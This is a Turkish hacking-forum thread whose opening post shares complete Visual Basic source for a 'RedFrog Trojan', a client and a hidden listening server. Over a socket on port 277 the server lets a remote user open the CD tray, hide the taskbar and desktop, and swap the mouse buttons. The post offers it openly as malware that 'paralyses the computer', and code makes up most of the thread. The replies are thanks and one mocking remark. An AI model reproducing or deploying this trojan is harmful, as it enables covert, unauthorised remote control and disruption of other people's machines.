İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

SÜPeR BİR TROJeN BİLGİSaYARI FELÇ EDİYOR :::))

31-07-2012 01:32
#1
furkanakmann - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2012
Nereden:
Cehennem
Mesajlar:
539
Teşekkür (Etti):
109
Teşekkür (Aldı):
202
Konular:
55
Ticaret:
(0) %
Command 1 Bağlanmak için
Command 2 Cdromu açmak için
Command 3 Cdromu kapatmak için
Command 4 Başlat çubuğunu Göster
Command 5 Masaüstünü Sakla
Command 6 Masaüstünü Göster
Command 7 Başlat Çubuğunu Sakla
Command 8 Mouse Sağ el hakim olsun
Command 9 Mouse Sol el Sahip olsun
Command 10 Mesaj Yollama
Text 3 Mesaj metni
Text1 ip Yazılacak kısım
Tex4 Bağlantı Göstergesi
JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa
Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın
Neyse benden bu kadar ilk konularda burdan yardım aldım şimdi
buraya Minnetimi ödiyim ben ,saolun hepiniz
Client
===============
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 277


End Sub

Private Sub Command10_Click()
Winsock.SendData "Message= Text3.text"
DoEvents
End Sub

Private Sub Command2_Click()
Winsock.SendData "Cdopen"
DoEvents
End Sub
Private Sub Command3_Click()
Winsock.SendData "Cdclose"
DoEvents
End Sub
Private Sub Command4_Click()
Winsock.SendData "showtask"
DoEvents
End Sub
Private Sub Command5_Click()
Winsock.SendData "hidesk"
DoEvents
End Sub
Private Sub Command6_Click()
Winsock.SendData "showdesk"
DoEvents
End Sub

Private Sub Command7_click()
Winsock.SendData "hidetask"
DoEvents
End Sub
Private Sub Command8_Click()
Winsock.SendData "getmouse"
DoEvents
End Sub
Private Sub Command9_Click()
Winsock.SendData "leavemouse"
DoEvents
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Text4.Text = Winsock.State
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock.Close
End
End Sub
Private Sub winsock_connect()
Text4.Text = "Connected!"
Form1.Caption = "RedFrog Trojan Connected"
Command1.Caption = "Connect New"
End Sub
=================================0
Server
=================================0
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd _
As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal _
wFlags As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40

Private Sub Form_load()
server.LocalPort = 277
server.Listen
Me.Hide

End Sub
Private Sub server_connectionrequest(ByVal requestid As Long)
server.Close
server.Accept requestid
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "Cdclose"
JohnSysInfo1.CDRomDoor = False

Case "Cdopen"
JohnSysInfo1.CDRomDoor = True
Case "showtask"

Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = False

Case "hidetask"
Timer2.Enabled = True
Timer2.Interval = 10
Timer1.Enabled = False
Case "hidedesk"
Timer3.Enabled = True
Timer3.Interval = 10
Timer4.Enabled = False
Case "showdesk"
Timer3.Enabled = False
Timer4.Enabled = True
Timer4.Interval = 10
Case "getmouse"
JohnSysInfo1.UseLeftHandMouse = False

Case "leavemouse"
JohnSysInfo1.UseLeftHandMouse = True



End Select
End Sub

Private Sub timer1_timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub

Private Sub timer2_Timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub


Private Sub timer4_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5

End Sub

Private Sub timer3_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub
xxahmetfb123xx Teşekkür etti.

31-07-2012 13:06
#2
Üyelik tarihi:
07/2012
Nereden:
Adana
Yaş:
28
Mesajlar:
479
Teşekkür (Etti):
22
Teşekkür (Aldı):
24
Konular:
55
Ticaret:
(0) %
arkadaşım bu bat virüslerindenmi yoksa visual basic kodlamasımı ??
31-07-2012 13:35
#3
Üyelik tarihi:
07/2012
Nereden:
Adana
Yaş:
28
Mesajlar:
479
Teşekkür (Etti):
22
Teşekkür (Aldı):
24
Konular:
55
Ticaret:
(0) %
genede saolasın.
31-07-2012 13:52
#4
Binefs - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2012
Nereden:
Suriyeli Urfa Göçmeni.
Mesajlar:
1.772
Teşekkür (Etti):
181
Teşekkür (Aldı):
336
Konular:
228
Ticaret:
(0) %
Alıntı:
xxahmetfb123xx´isimli üyeden Alıntı Mesajı göster
arkadaşım bu bat virüslerindenmi yoksa visual basic kodlamasımı ??
Cmd Yolları İle Pcye Zarar Verme
31-07-2012 16:12
#5
samet21172 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2012
Mesajlar:
15
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
elıne sağlık
13-08-2012 12:51
#6
furkanakmann - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2012
Nereden:
Cehennem
Mesajlar:
539
Teşekkür (Etti):
109
Teşekkür (Aldı):
202
Konular:
55
Ticaret:
(0) %
SaoLun
14-08-2012 02:11
#7
rookie35 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2012
Mesajlar:
36
Teşekkür (Etti):
1
Teşekkür (Aldı):
2
Konular:
1
Ticaret:
(0) %
Trojen mi bu hahaha ilk önce 1-2 şey öğren.
09-12-2012 15:00
#8
Üyelik tarihi:
08/2011
Mesajlar:
455
Teşekkür (Etti):
1
Teşekkür (Aldı):
15
Konular:
8
Ticaret:
(0) %
eyw saolasın
10-12-2012 17:46
#9
Star-Turk - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2012
Mesajlar:
3.517
Teşekkür (Etti):
754
Teşekkür (Aldı):
1492
Konular:
782
Ticaret:
(0) %
Saolasın
Kullanıcı İmzası
" Zaman herşeyi affeder ama ben zaman değilim. "

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı